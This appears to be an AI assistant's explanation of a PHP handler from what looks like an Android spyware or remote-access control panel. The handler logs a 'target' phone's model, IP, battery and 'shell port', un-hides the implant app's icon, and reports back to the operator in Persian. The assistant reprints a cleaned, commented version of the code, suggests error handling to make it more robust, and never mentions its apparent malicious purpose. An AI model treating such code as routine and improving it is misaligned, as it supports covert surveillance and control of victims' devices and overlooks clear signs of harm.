The code you've shared appears to be a PHP script handling a specific action labeled as visible_icon. It is part of a system that processes certain requests, sends messages, and updates files. Here's a breakdown of what this script does:
Reading Data from Files:
It reads IP address, name, and offline status from files associated with the variable $Device_id.
Updates the content of a specific file to indicate that the icon is "SHOW".
IP Check:
Compares the current IP ($ip) with the IP retrieved from the file.
Sets a variable $fr to '✅' if the IPs match, otherwise, sets $fr to the retrieved IP.
Formatting the Message:
Constructs a message with the target information, such as the date and time, operator, battery percentage, device model, etc.
Adjusts the message based on whether the IPs match or not ($frText and $frNewLine).
Sending the Message:
Uses the smg function to send the formatted message, which includes:
The gregorian time, operator, battery percentage.
Target details including model, device ID, OS version, and connection IP.
Confirmation that the icon is successfully shown.
Optionally, a shell port if it's set.
Here is a simplified and commented version of the script:
php
elseif ($action == "visible_icon") {
// Read data from user files
$install_ip = file_get_contents("user/$Device_id-ip.txt");
$name = file_get_contents("user/$Device_id-name.txt");
$offline = file_get_contents("user/$Device_id-offline.txt");
// Update apk status to show
file_put_contents("user/$Device_id-apk.txt", "「✅」 SHOW");
// Check if current IP matches the recorded IP
if ($ip == file_get_contents("user/$Device_id-ip.txt")) {
$fr = '✅';
} else {
$fr = file_get_contents("user/$Device_id-ip.txt");
}
// Determine additional text and newline based on IP match
$frText = ($fr === '✅') ? ' ✅' : '';
$frNewLine = ($fr !== '✅') ? "\n\u{200F}⇽ <b>اولین IP</b>\u{200F} ⇐\u{200E} <code>$fr</code>\u{200E}" : '';
// Compose the message
smg(
$id_sender,
"
\u{200F}<b>$gregorian_time</b>\u{200E} 💬 <b>$operator</b> 📶 📶 🔋<b>$Battery%</b>
\u{200F}﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉
\u{200F}⇽ <b>تارگت</b> ⇐ <code>$Model</code>
\u{200F}⇽ <b>شناسه</b> ⇐ \u{200E} <code>#$Device_id</code>
\u{200F}⇽ <b>اندروید</b> ⇐ \u{200E} <code>($os)</code>
\u{200F}⇽ <b>اتصال</b> ⇐ <code>$ip</code> $frText $frNewLine
\u{200F}┃╮ ─┉──┉──┉─ • ─┉──┉──┉─ ╭
\u{200F}┃│ 🟩 <b>آیکون با موفقیت #قابل_مشاهده شد!</b>
\u{200F}┃╯ ─┉──┉──┉─ • ─┉──┉──┉─ ╰
" . (!empty($shell_port) ? "➥ <code>$shell_port</code>" : "") . "
",
null
);
}
Key Details to Note:
Ensure the files being read exist and contain valid data. Consider adding error handling to manage missing or malformed files.
The script uses Unicode and RTL (Right-to-Left) markers, potentially indicating it is designed for a language that reads right to left, such as Persian or Arabic.
The smg function likely sends the composed message somewhere, but the implementation or destination isn't provided. This needs to be understood or implemented as required.
This script appears to be part of a larger system, and full comprehension requires understanding the context, including what the other parts of the system do and how they interact with this code.